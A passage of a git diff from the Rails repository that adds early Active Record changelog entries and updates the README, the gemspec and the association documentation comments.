+* Fixed respond_to? to use a subclass specific hash instead of an Active Record-wide one
+
+* Fixed has_and_belongs_to_many to treat associations between classes in modules properly *Florian Weber*
+
+* Added a NoMethod exception to be raised when query and writer methods are called for attributes that doesn't exist *geech*
+
+* Added a more robust version of Fixtures that throws meaningful errors when on formatting issues *geech*
+
+* Added Base#transaction as a compliment to Base.transaction for prettier use in instance methods *geech*
+
+* Improved the speed of respond_to? by placing the dynamic methods lookup table in a hash *geech*
+
+* Added that any additional fields added to the join table in a has_and_belongs_to_many association
+ will be placed as attributes when pulling records out through has_and_belongs_to_many associations.
+ This is helpful when have information about the association itself that you want available on retrival.
+
+* Added better loading exception catching and RubyGems retries to the database adapters *alexeyv*
+
+* Fixed bug with per-model transactions *daniel*
+
+* Fixed Base#transaction so that it returns the result of the last expression in the transaction block *alexeyv*
+
+* Added Fixture#find to find the record corresponding to the fixture id. The record
+ class name is guessed by using Inflector#classify (also new) on the fixture directory name.
+
+ Before: Document.find(@documents["first"]["id"])
+ After : @documents["first"].find
+
+* Fixed that the table name part of column names ("TABLE.COLUMN") wasn't removed properly *Andreas Schwarz*
+
+* Fixed a bug with Base#size when a finder_sql was used that didn't capitalize SELECT and FROM *geech*
+
+* Fixed quoting problems on SQLite by adding quote_string to the AbstractAdapter that can be overwritten by the concrete
+ adapters for a call to the dbm. *Andreas Schwarz*
+
+* Removed RubyGems backup strategy for requiring SQLite-adapter -- if people want to use gems, they're already doing it with AR.
+
+
+## 1.0.0 (35) ##
+
+* Added OO-style associations methods [Florian Weber]. Examples:
+
+ Project#milestones_count => Project#milestones.size
+ Project#build_to_milestones => Project#milestones.build
+ Project#create_for_milestones => Project#milestones.create
+ Project#find_in_milestones => Project#milestones.find
+ Project#find_all_in_milestones => Project#milestones.find_all
+
+* Added serialize as a new class method to control when text attributes should be YAMLized or not. This means that automated
+ serialization of hashes, arrays, and so on WILL NO LONGER HAPPEN (#10). You need to do something like this:
+
+ class User < ActiveRecord::Base
+ serialize :settings
+ end
+
+ This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
+ an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendant of a class not in
+ the hierarchy. Example:
+
+ class User < ActiveRecord::Base
+ serialize :settings, :class_name => "Hash"
+ end
+
+ user = User.create("settings" => %w( one two three ))
+ User.find(user.id).settings # => raises SerializationTypeMismatch
+
+* Added the option to connect to a different database for one model at a time. Just call establish_connection on the class
+ you want to have connected to another database than Base. This will automatically also connect decendents of that class
+ to the different database [Renald Buter].
+
+* Added transactional protection for Base#save. Validations can now check for values knowing that it happens in a transaction and callbacks
+ can raise exceptions knowing that the save will be rolled back. *Suggested by Alexey Verkhovsky*
+
+* Added column name quoting so reserved words, such as "references", can be used as column names *Ryan Platte*
+
+* Added the possibility to chain the return of what happened inside a logged block [geech]:
+
+ This now works:
+ log { ... }.map { ... }
+
+ Instead of doing:
+ result = []
+ log { result = ... }
+ result.map { ... }
+
+* Added "socket" option for the MySQL adapter, so you can change it to something else than "/tmp/mysql.sock" *Anna Lissa Cruz*
+
+* Added respond_to? answers for all the attribute methods. So if Person has a name attribute retrieved from the table schema,
+ person.respond_to? "name" will return true.
+
+* Added Base.benchmark which can be used to aggregate logging and benchmark, so you can measure and represent multiple statements in a single block.
+ Usage (hides all the SQL calls for the individual actions and calculates total runtime for them all):
+
+ Project.benchmark("Creating project") do
+ project = Project.create("name" => "stuff")
+ project.create_manager("name" => "David")
+ project.milestones << Milestone.find_all
+ end
+
+* Added logging of invalid SQL statements *Daniel Von Fange*
+
+* Added alias Errors#[] for Errors#on, so you can now say person.errors["name"] to retrieve the errors for name *Andreas Schwarz*
+
+* Added RubyGems require attempt if sqlite-ruby is not available through regular methods.
+
+* Added compatibility with 2.x series of sqlite-ruby drivers. *Jamis Buck*
+
+* Added type safety for association assignments, so a ActiveRecord::AssociationTypeMismatch will be raised if you attempt to
+ assign an object that's not of the associated class. This cures the problem with nil giving id = 4 and fixnums giving id = 1 on
+ mistaken association assignments. *Reported by Andreas Schwarz*
+
+* Added the option to keep many fixtures in one single YAML document *what-a-day*
+
+* Added the class method "inheritance_column" that can be overwritten to return the name of an alternative column than "type" for storing
+ the type for inheritance hierarchies. *Dave Steinberg*
+
+* Added [] and []= as an alternative way to access attributes when the regular methods have been overwritten *Dave Steinberg*
+
+* Added the option to observer more than one class at the time by specifying observed_class as an array
+
+* Added auto-id propagation support for tables with arbitrary primary keys that have autogenerated sequences associated with them
+ on PostgreSQL. *Dave Steinberg*
+
+* Changed that integer and floats set to "" through attributes= remain as NULL. This was especially a problem for scaffolding and postgresql. (#49)
+
+* Changed the MySQL Adapter to rely on MySQL for its defaults for socket, host, and port *Andreas Schwarz*
+
+* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
+
+* Changed class inheritable attributes to not use eval *Caio Chassot*
+
+* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those *Marcel Molina Jr.*
+
+* Fixed spelling on Base#add_on_boundry_breaking to Base#add_on_boundary_breaking (old naming still works) *Marcel Molina Jr.*
+
+* Fixed that entries in the has_and_belongs_to_many join table didn't get removed when an associated object was destroyed.
+
+* Fixed unnecessary calls to SET AUTOCOMMIT=0/1 for MySQL adapter *Andreas Schwarz*
+
+* Fixed PostgreSQL defaults are now handled gracefully *Dave Steinberg*
+
+* Fixed increment/decrement_counter are now atomic updates *Andreas Schwarz*
+
+* Fixed the problems the Inflector had turning Attachment into attuchments and Cases into Casis *radsaq/Florian Gross*
+
+* Fixed that cloned records would point attribute references on the parent object *Andreas Schwarz*
+
+* Fixed SQL for type call on inheritance hierarchies *Caio Chassot*
+
+* Fixed bug with typed inheritance *Florian Weber*
+
+* Fixed a bug where has_many collection_count wouldn't use the conditions specified for that association
+
+
+## 0.9.5 ##
+
+* Expanded the table_name guessing rules immensely [Florian Green]. Documentation:
+
+ Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
+ directly from ActiveRecord. So if the hierarchy looks like: Reply < Message < ActiveRecord, then Message is used
+ to guess the table name from even when called on Reply. The guessing rules are as follows:
+ * Class name ends in "x", "ch" or "ss": "es" is appended, so a Search class becomes a searches table.
+ * Class name ends in "y" preceded by a consonant or "qu": The "y" is replaced with "ies",
+ so a Category class becomes a categories table.
+ * Class name ends in "fe": The "fe" is replaced with "ves", so a Wife class becomes a wives table.
+ * Class name ends in "lf" or "rf": The "f" is replaced with "ves", so a Half class becomes a halves table.
+ * Class name ends in "person": The "person" is replaced with "people", so a Salesperson class becomes a salespeople table.
+ * Class name ends in "man": The "man" is replaced with "men", so a Spokesman class becomes a spokesmen table.
+ * Class name ends in "sis": The "i" is replaced with an "e", so a Basis class becomes a bases table.
+ * Class name ends in "tum" or "ium": The "um" is replaced with an "a", so a Datum class becomes a data table.
+ * Class name ends in "child": The "child" is replaced with "children", so a NodeChild class becomes a node_children table.
+ * Class name ends in an "s": No additional characters are added or removed.
+ * Class name doesn't end in "s": An "s" is appended, so a Comment class becomes a comments table.
+ * Class name with word compositions: Compositions are underscored, so CreditCard class becomes a credit_cards table.
+ Additionally, the class-level table_name_prefix is prepended to the table_name and the table_name_suffix is appended.
+ So if you have "myapp_" as a prefix, the table name guess for an Account class becomes "myapp_accounts".
+
+ You can also overwrite this class method to allow for unguessable links, such as a Mouse class with a link to a
+ "mice" table. Example:
+
+ class Mouse < ActiveRecord::Base
+ def self.table_name() "mice" end
+ end
+
+ This conversion is now done through an external class called Inflector residing in lib/active_record/support/inflector.rb.
+
+* Added find_all_in_collection to has_many defined collections. Works like this:
+
+ class Firm < ActiveRecord::Base
+ has_many :clients
+ end
+
+ firm.id # => 1
+ firm.find_all_in_clients "revenue > 1000" # SELECT * FROM clients WHERE firm_id = 1 AND revenue > 1000
+
+ *Requested by Dave Thomas*
+
+* Fixed finders for inheritance hierarchies deeper than one level *Florian Weber*
+
+* Added add_on_boundry_breaking to errors to accompany add_on_empty as a default validation method. It's used like this:
+
+ class Person < ActiveRecord::Base
+ protected
+ def validation
+ errors.add_on_boundry_breaking "password", 3..20
+ end
+ end
+
+ This will add an error to the tune of "is too short (minimum is 3 characters)" or "is too long (minimum is 20 characters)" if
+ the password is outside the boundry. The messages can be changed by passing a third and forth parameter as message strings.
+
+* Implemented a clone method that works properly with AR. It returns a clone of the record that
+ hasn't been assigned an id yet and is treated as a new record.
+
+* Allow for domain sockets in PostgreSQL by not assuming localhost when no host is specified *Scott Barron*
+
+* Fixed that bignums are saved properly instead of attempted to be YAMLized *Andreas Schwartz*
+
+* Fixed a bug in the GEM where the rdoc options weren't being passed according to spec *Chad Fowler*
+
+* Fixed a bug with the exclusively_dependent option for has_many
+
+
+## 0.9.4 ##
+
+* Correctly guesses the primary key when the class is inside a module [Dave Steinberg].
+
+* Added [] and []= as alternatives to read_attribute and write_attribute *Dave Steinberg*
+
+* has_and_belongs_to_many now accepts an :order key to determine in which order the collection is returned [radsaq].
+
+* The ids passed to find and find_on_conditions are now automatically sanitized.
+
+* Added escaping of plings in YAML content.
+
+* Multi-parameter assigns where all the parameters are empty will now be set to nil instead of a new instance of their class.
+
+* Proper type within an inheritance hierarchy is now ensured already at object initialization (instead of first at create)
+
+
+## 0.9.3 ##
+
+* Fixed bug with using a different primary key name together with has_and_belongs_to_many *Investigation by Scott*
+
+* Added :exclusively_dependent option to the has_many association macro. The doc reads:
+
+ If set to true all the associated object are deleted in one SQL statement without having their
+ before_destroy callback run. This should only be used on associations that depend solely on
+ this class and don't need to do any clean-up in before_destroy. The upside is that it's much
+ faster, especially if there's a counter_cache involved.
+
+* Added :port key to connection options, so the PostgreSQL and MySQL adapters can connect to a database server
+ running on another port than the default.
+
+* Converted the new natural singleton methods that prevented AR objects from being saved by PStore
+ (and hence be placed in a Rails session) to a module. *Florian Weber*
+
+* Fixed the use of floats (was broken since 0.9.0+)
+
+* Fixed PostgreSQL adapter so default values are displayed properly when used in conjunction with
+ Action Pack scaffolding.
+
+* Fixed booleans support for PostgreSQL (use real true/false on boolean fields instead of 0/1 on tinyints) *radsaq*
+
+
+## 0.9.2 ##
+
+* Added static method for instantly updating a record
+
+* Treat decimal and numeric as Ruby floats *Andreas Schwartz*
+
+* Treat chars as Ruby strings (fixes problem for Action Pack form helpers too)
+
+* Removed debugging output accidently left in (which would screw web applications)
+
+
+## 0.9.1 ##
+
+* Added MIT license
+
+* Added natural object-style assignment for has_and_belongs_to_many associations. Consider the following model:
+
+ class Event < ActiveRecord::Base
+ has_one_and_belongs_to_many :sponsors
+ end
+
+ class Sponsor < ActiveRecord::Base
+ has_one_and_belongs_to_many :sponsors
+ end
+
+ Earlier, you'd have to use synthetic methods for creating associations between two objects of the above class:
+
+ roskilde_festival.add_to_sponsors(carlsberg)
+ roskilde_festival.remove_from_sponsors(carlsberg)
+
+ nike.add_to_events(world_cup)
+ nike.remove_from_events(world_cup)
+
+ Now you can use regular array-styled methods:
+
+ roskilde_festival.sponsors << carlsberg
+ roskilde_festival.sponsors.delete(carlsberg)
+
+ nike.events << world_cup
+ nike.events.delete(world_cup)
+
+* Added delete method for has_many associations. Using this will nullify an association between the has_many and the belonging
+ object by setting the foreign key to null. Consider this model:
+
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post
+ end
+
+ You could do something like:
+
+ funny_comment.has_post? # => true
+ announcement.comments.delete(funny_comment)
+ funny_comment.has_post? # => false
+
+
+## 0.9.0 ##
+
+* Active Record is now thread safe! (So you can use it with Cerise and WEBrick applications)
+ *Implementation idea by Michael Neumann, debugging assistance by Jamis Buck*
+
+* Improved performance by roughly 400% on a basic test case of pulling 100 records and querying one attribute.
+ This brings the tax for using Active Record instead of "riding on the metal" (using MySQL-ruby C-driver directly) down to ~50%.
+ Done by doing lazy type conversions and caching column information on the class-level.
+
+* Added callback objects and procs as options for implementing the target for callback macros.
+
+* Added "counter_cache" option to belongs_to that automates the usage of increment_counter and decrement_counter. Consider:
+
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post
+ end
+
+ Iterating over 100 posts like this:
+
+ <% for post in @posts %>
+ <%= post.title %> has <%= post.comments_count %> comments
+ <% end %>
+
+ Will generate 100 SQL count queries -- one for each call to post.comments_count. If you instead add a "comments_count" int column
+ to the posts table and rewrite the comments association macro with:
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post, :counter_cache => true
+ end
+
+ Those 100 SQL count queries will be reduced to zero. Beware that counter caching is only appropriate for objects that begin life
+ with the object it's specified to belong with and is destroyed like that as well. Typically objects where you would also specify
+ :dependent => true. If your objects switch from one belonging to another (like a post that can be move from one category to another),
+ you'll have to manage the counter yourself.
+
+* Added natural object-style assignment for has_one and belongs_to associations. Consider the following model:
+
+ class Project < ActiveRecord::Base
+ has_one :manager
+ end
+
+ class Manager < ActiveRecord::Base
+ belongs_to :project
+ end
+
+ Earlier, assignments would work like following regardless of which way the assignment told the best story:
+
+ active_record.manager_id = david.id
+
+ Now you can do it either from the belonging side:
+
+ david.project = active_record
+
+ ...or from the having side:
+
+ active_record.manager = david
+
+ If the assignment happens from the having side, the assigned object is automatically saved. So in the example above, the
+ project_id attribute on david would be set to the id of active_record, then david would be saved.
+
+* Added natural object-style assignment for has_many associations [Florian Weber]. Consider the following model:
+
+ class Project < ActiveRecord::Base
+ has_many :milestones
+ end
+
+ class Milestone < ActiveRecord::Base
+ belongs_to :project
+ end
+
+ Earlier, assignments would work like following regardless of which way the assignment told the best story:
+
+ deadline.project_id = active_record.id
+
+ Now you can do it either from the belonging side:
+
+ deadline.project = active_record
+
+ ...or from the having side:
+
+ active_record.milestones << deadline
+
+ The milestone is automatically saved with the new foreign key.
+
+* API CHANGE: Attributes for text (or blob or similar) columns will now have unknown classes stored using YAML instead of using
+ to_s. (Known classes that won't be yamelized are: String, NilClass, TrueClass, FalseClass, Fixnum, Date, and Time).
+ Likewise, data pulled out of text-based attributes will be attempted converged using Yaml if they have the "--- " header.
+ This was primarily done to be enable the storage of hashes and arrays without wrapping them in aggregations, so now you can do:
+
+ user = User.find(1)
+ user.preferences = { "background" => "black", "display" => large }
+ user.save
+
+ User.find(1).preferences # => { "background" => "black", "display" => large }
+
+ Please note that this method should only be used when you don't care about representing the object in proper columns in
+ the database. A money object consisting of an amount and a currency is still a much better fit for a value object done through
+ aggregations than this new option.
+
+* POSSIBLE CODE BREAKAGE: As a consequence of the lazy type conversions, it's a bad idea to reference the @attributes hash
+ directly (it always was, but now it's paramount that you don't). If you do, you won't get the type conversion. So to implement
+ new accessors for existing attributes, use read_attribute(attr_name) and write_attribute(attr_name, value) instead. Like this:
+
+ class Song < ActiveRecord::Base
+ # Uses an integer of seconds to hold the length of the song
+
+ def length=(minutes)
+ write_attribute("length", minutes * 60)
+ end
+
+ def length
+ read_attribute("length") / 60
+ end
+ end
+
+ The clever kid will notice that this opens a door to sidestep the automated type conversion by using @attributes directly.
+ This is not recommended as read/write_attribute may be granted additional responsibilities in the future, but if you think
+ you know what you're doing and aren't afraid of future consequences, this is an option.
+
+* Applied a few minor bug fixes reported by Daniel Von Fange.
+
+
+## 0.8.4 ##
+
+ _Reflection_
+* Added ActiveRecord::Reflection with a bunch of methods and classes for reflecting in aggregations and associations.
+
+* Added Base.columns and Base.content_columns which returns arrays of column description (type, default, etc) objects.
+
+* Added Base#attribute_names which returns an array of names for the attributes available on the object.
+
+* Added Base#column_for_attribute(name) which returns the column description object for the named attribute.
+
+
+ _Misc_
+* Added multi-parameter assignment:
+
+ # Instantiate objects for all attribute classes that needs more than one constructor parameter. This is done
+ # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
+ # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
+ # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
+ # parenteses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
+ # s for String, and a for Array.
+
+ This is incredibly useful for assigning dates from HTML drop-downs of month, year, and day.
+
+* Fixed bug with custom primary key column name and Base.find on multiple parameters.
+
+* Fixed bug with dependent option on has_one associations if there was no associated object.
+
+
+## 0.8.3 ##
+
+ _Transactions_
+* Added transactional protection for destroy (important for the new :dependent option) *Suggested by Carl Youngblood*
+
+* Fixed so transactions are ignored on MyISAM tables for MySQL (use InnoDB to get transactions)
+
+* Changed transactions so only exceptions will cause a rollback, not returned false.
+
+
+ _Mapping_
+* Added support for non-integer primary keys *Aredridel/earlier work by Michael Neumann*
+
+ User.find "jdoe"
+ Product.find "PDKEY-INT-12"
+
+* Added option to specify naming method for primary key column. ActiveRecord::Base.primary_key_prefix_type can either
+ be set to nil, :table_name, or :table_name_with_underscore. :table_name will assume that Product class has a primary key
+ of "productid" and :table_name_with_underscore will assume "product_id". The default nil will just give "id".
+
+* Added an overwriteable primary_key method that'll instruct AR to the name of the
+ id column *Aredridele/earlier work by Guan Yang*
+
+ class Project < ActiveRecord::Base
+ def self.primary_key() "project_id" end
+ end
+
+* Fixed that Active Records can safely associate inside and out of modules.
+
+ class MyApplication::Account < ActiveRecord::Base
+ has_many :clients # will look for MyApplication::Client
+ has_many :interests, :class_name => "Business::Interest" # will look for Business::Interest
+ end
+
+* Fixed that Active Records can safely live inside modules *Aredridel*
+
+ class MyApplication::Account < ActiveRecord::Base
+ end
+
+
+ _Misc_
+* Added freeze call to value object assignments to ensure they remain immutable *Spotted by Gavin Sinclair*
+
+* Changed interface for specifying observed class in observers. Was OBSERVED_CLASS constant, now is
+ observed_class() class method. This is more consistant with things like self.table_name(). Works like this:
+
+ class AuditObserver < ActiveRecord::Observer
+ def self.observed_class() Account end
+ def after_update(account)
+ AuditTrail.new(account, "UPDATED")
+ end
+ end
+
+ *Suggested by Gavin Sinclair*
+
+* Create new Active Record objects by setting the attributes through a block. Like this:
+
+ person = Person.new do |p|
+ p.name = 'Freddy'
+ p.age = 19
+ end
+
+ *Suggested by Gavin Sinclair*
+
+
+## 0.8.2 ##
+
+* Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
+ run throughout the entire inheritance hierarchy. Regardless of whether a descendant overwrites the callback
+ method:
+
+ class Topic < ActiveRecord::Base
+ before_destroy :destroy_author, 'puts "I'm an inline fragment"'
+ end
+
+ Learn more in link:classes/ActiveRecord/Callbacks.html
+
+* Added :dependent option to has_many and has_one, which will automatically destroy associated objects when
+ the holder is destroyed:
+
+ class Album < ActiveRecord::Base
+ has_many :tracks, :dependent => true
+ end
+
+ All the associated tracks are destroyed when the album is.
+
+* Added Base.create as a factory that'll create, save, and return a new object in one step.
+
+* Automatically convert strings in config hashes to symbols for the _connection methods. This allows you
+ to pass the argument hashes directly from yaml. (Luke)
+
+* Fixed the install.rb to include simple.rb *Spotted by Kevin Bullock*
+
+* Modified block syntax to better follow our code standards outlined in
+ http://www.rubyonrails.org/CodingStandards
+
+
+## 0.8.1 ##
+
+* Added object-level transactions *Austin Ziegler*
+
+* Changed adapter-specific connection methods to use centralized ActiveRecord::Base.establish_connection,
+ which is parametized through a config hash with symbol keys instead of a regular parameter list.
+ This will allow for database connections to be opened in a more generic fashion. (Luke)
+
+ NOTE: This requires all *_connections to be updated! Read more in:
+ http://ar.rubyonrails.org/classes/ActiveRecord/Base.html#M000081
+
+* Fixed SQLite adapter so objects fetched from has_and_belongs_to_many have proper attributes
+ (t.name is now name). *Spotted by Garrett Rooney*
+
+* Fixed SQLite adapter so dates are returned as Date objects, not Time objects *Spotted by Gavin Sinclair*
+
+* Fixed requirement of date class, so date conversions are succesful regardless of whether you
+ manually require date or not.
+
+
+## 0.8.0 ##
+
+* Added transactions
+
+* Changed Base.find to also accept either a list (1, 5, 6) or an array of ids ([5, 7])
+ as parameter and then return an array of objects instead of just an object
+
+* Fixed method has_collection? for has_and_belongs_to_many macro to behave as a
+ collection, not an association
+
+* Fixed SQLite adapter so empty or nil values in columns of datetime, date, or time type
+ aren't treated as current time *Spotted by Gavin Sinclair*
+
+
+## 0.7.6 ##
+
+* Fixed the install.rb to create the lib/active_record/support directory *Spotted by Gavin Sinclair*
+* Fixed that has_association? would always return true *Daniel Von Fange*
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index 822276589b..70922ef864 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -150,7 +150,7 @@ A short rundown of some of the major features:
* Database agnostic schema management with Migrations.
class AddSystemSettings < ActiveRecord::Migration
- def self.up
+ def up
create_table :system_settings do |t|
t.string :name
t.string :label
@@ -162,7 +162,7 @@ A short rundown of some of the major features:
SystemSetting.create :name => "notice", :label => "Use notice?", :value => 1
end
- def self.down
+ def down
drop_table :system_settings
end
end
@@ -197,13 +197,13 @@ Admit the Database:
== Download and installation
-The latest version of Active Record can be installed with Rubygems:
+The latest version of Active Record can be installed with RubyGems:
% [sudo] gem install activerecord
Source code can be downloaded as part of the Rails project on GitHub
-* https://github.com/rails/rails/tree/master/activerecord/
+* https://github.com/rails/rails/tree/master/activerecord
== License
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index 8ac4d9a225..52a3d4a501 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -13,7 +13,7 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*']
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*']
s.require_path = 'lib'
s.extra_rdoc_files = %w( README.rdoc )
@@ -21,6 +21,6 @@ Gem::Specification.new do |s|
s.add_dependency('activesupport', version)
s.add_dependency('activemodel', version)
- s.add_dependency('arel', '~> 2.1.3')
+ s.add_dependency('arel', '~> 3.0.0.pre')
s.add_dependency('tzinfo', '~> 0.3.29')
end
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index 63822731d5..0f62e819ee 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -37,7 +37,14 @@ puts 'Generating data...'
module ActiveRecord
class Faker
- LOREM = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse non aliquet diam. Curabitur vel urna metus, quis malesuada elit. Integer consequat tincidunt felis. Etiam non erat dolor. Vivamus imperdiet nibh sit amet diam eleifend id posuere diam malesuada. Mauris at accumsan sem. Donec id lorem neque. Fusce erat lorem, ornare eu congue vitae, malesuada quis neque. Maecenas vel urna a velit pretium fermentum. Donec tortor enim, tempor venenatis egestas a, tempor sed ipsum. Ut arcu justo, faucibus non imperdiet ac, interdum at diam. Pellentesque ipsum enim, venenatis ut iaculis vitae, varius vitae sem. Sed rutrum quam ac elit euismod bibendum. Donec ultricies ultricies magna, at lacinia libero mollis aliquam. Sed ac arcu in tortor elementum tincidunt vel interdum sem. Curabitur eget erat arcu. Praesent eget eros leo. Nam magna enim, sollicitudin vehicula scelerisque in, vulputate ut libero. Praesent varius tincidunt commodo".split
+ LOREM = %Q{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse non aliquet diam. Curabitur vel urna metus, quis malesuada elit.
+ Integer consequat tincidunt felis. Etiam non erat dolor. Vivamus imperdiet nibh sit amet diam eleifend id posuere diam malesuada. Mauris at accumsan sem.
+ Donec id lorem neque. Fusce erat lorem, ornare eu congue vitae, malesuada quis neque. Maecenas vel urna a velit pretium fermentum. Donec tortor enim,
+ tempor venenatis egestas a, tempor sed ipsum. Ut arcu justo, faucibus non imperdiet ac, interdum at diam. Pellentesque ipsum enim, venenatis ut iaculis vitae,
+ varius vitae sem. Sed rutrum quam ac elit euismod bibendum. Donec ultricies ultricies magna, at lacinia libero mollis aliquam. Sed ac arcu in tortor elementum
+ tincidunt vel interdum sem. Curabitur eget erat arcu. Praesent eget eros leo. Nam magna enim, sollicitudin vehicula scelerisque in, vulputate ut libero.
+ Praesent varius tincidunt commodo}.split
+
def self.name
LOREM.grep(/^\w*$/).sort_by { rand }.first(2).join ' '
end
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index d63b9e3f24..bf28cffbbe 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -21,13 +21,6 @@
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#++
-
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
-
-activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
-$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
-
require 'active_support'
require 'active_support/i18n'
require 'active_model'
@@ -42,7 +35,7 @@ module ActiveRecord
autoload :ActiveRecordError, 'active_record/errors'
autoload :ConnectionNotEstablished, 'active_record/errors'
autoload :ConnectionAdapters, 'active_record/connection_adapters/abstract_adapter'
-
+
autoload :Aggregations
autoload :Associations
autoload :AttributeMethods
@@ -72,9 +65,11 @@ module ActiveRecord
autoload :Persistence
autoload :QueryCache
autoload :Reflection
+ autoload :Result
autoload :Schema
autoload :SchemaDumper
autoload :Serialization
+ autoload :Store
autoload :SessionStore
autoload :Timestamp
autoload :Transactions
@@ -97,6 +92,7 @@ module ActiveRecord
autoload :Read
autoload :TimeZoneConversion
autoload :Write
+ autoload :Serialization
end
end
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index 81ddbba51e..5a8addc4e4 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -172,8 +172,8 @@ module ActiveRecord
# with this option.
# * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value
# object. Each mapping is represented as an array where the first item is the name of the
- # entity attribute and the second item is the name the attribute in the value object. The
- # order in which mappings are defined determine the order in which attributes are sent to the
+ # entity attribute and the second item is the name of the attribute in the value object. The
+ # order in which mappings are defined determines the order in which attributes are sent to the
# value class constructor.
# * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
# attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all
@@ -191,7 +191,8 @@ module ActiveRecord
#
# Option examples:
# composed_of :temperature, :mapping => %w(reading celsius)
- # composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
+ # composed_of :balance, :class_name => "Money", :mapping => %w(balance amount),
+ # :converter => Proc.new { |balance| balance.to_money }
# composed_of :address, :mapping => [ %w(address_street street), %w(address_city city) ]
# composed_of :gps_location
# composed_of :gps_location, :allow_nil => true
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 2605a54cb6..98efdb90c8 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -196,6 +196,26 @@ module ActiveRecord
# * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
# <tt>Project#categories.delete(category1)</tt>
#
+ # === Overriding generated methods
+ #
+ # Association methods are generated in a module that is included into the model class,
+ # which allows you to easily override with your own methods and call the original
+ # generated method with +super+. For example:
+ #
+ # class Car < ActiveRecord::Base
+ # belongs_to :owner
+ # belongs_to :old_owner
+ # def owner=(new_owner)
+ # self.old_owner = self.owner
+ # super
+ # end
+ # end
+ #
+ # If your model class is <tt>Project</tt>, the module is
+ # named <tt>Project::GeneratedFeatureMethods</tt>. The GeneratedFeatureMethods module is
+ # included in the model class immediately after the (anonymous) generated attributes methods
+ # module, meaning an association will override the methods for an attribute with the same name.
+ #
# === A word of warning
#
# Don't create associations that have the same name as instance methods of
@@ -1087,7 +1107,8 @@ module ActiveRecord
#
# [:finder_sql]
# Specify a complete SQL statement to fetch the association. This is a good way to go for complex
- # associations that depend on multiple tables. Note: When this option is used, +find_in_collection+
+ # associations that depend on multiple tables. May be supplied as a string or a proc where interpolation is
+ # required. Note: When this option is used, +find_in_collection+
# is _not_ added.
# [:counter_sql]
# Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
@@ -1162,11 +1183,14 @@ module ActiveRecord
# has_many :tags, :as => :taggable
# has_many :reports, :readonly => true
# has_many :subscribers, :through => :subscriptions, :source => :user
- # has_many :subscribers, :class_name => "Person", :finder_sql =>
- # 'SELECT DISTINCT people.* ' +
- # 'FROM people p, post_subscriptions ps ' +
- # 'WHERE ps.post_id = #{id} AND ps.person_id = p.id ' +
- # 'ORDER BY p.first_name'
+ # has_many :subscribers, :class_name => "Person", :finder_sql => Proc.new {
+ # %Q{
+ # SELECT DISTINCT people.*
+ # FROM people p, post_subscriptions ps
+ # WHERE ps.post_id = #{id} AND ps.person_id = p.id
+ # ORDER BY p.first_name
+ # }
+ # }
def has_many(name, options = {}, &extension)
Builder::HasMany.build(self, name, options, &extension)
end
@@ -1325,7 +1349,7 @@ module ActiveRecord
#
# [:class_name]
# Specify the class name of the association. Use it only if that name can't be inferred
- # from the association name. So <tt>has_one :author</tt> will by default be linked to the Author class, but
+ # from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but
# if the real class name is Person, you'll have to specify it with this option.
# [:conditions]
# Specify the conditions that the associated object must meet in order to be included as a +WHERE+
@@ -1420,18 +1444,18 @@ module ActiveRecord
# join table with a migration such as this:
#
# class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration
- # def self.up
+ # def change
# create_table :developers_projects, :id => false do |t|
# t.integer :developer_id
# t.integer :project_id
# end
# end
- #
- # def self.down
- # drop_table :developers_projects
- # end
# end
#
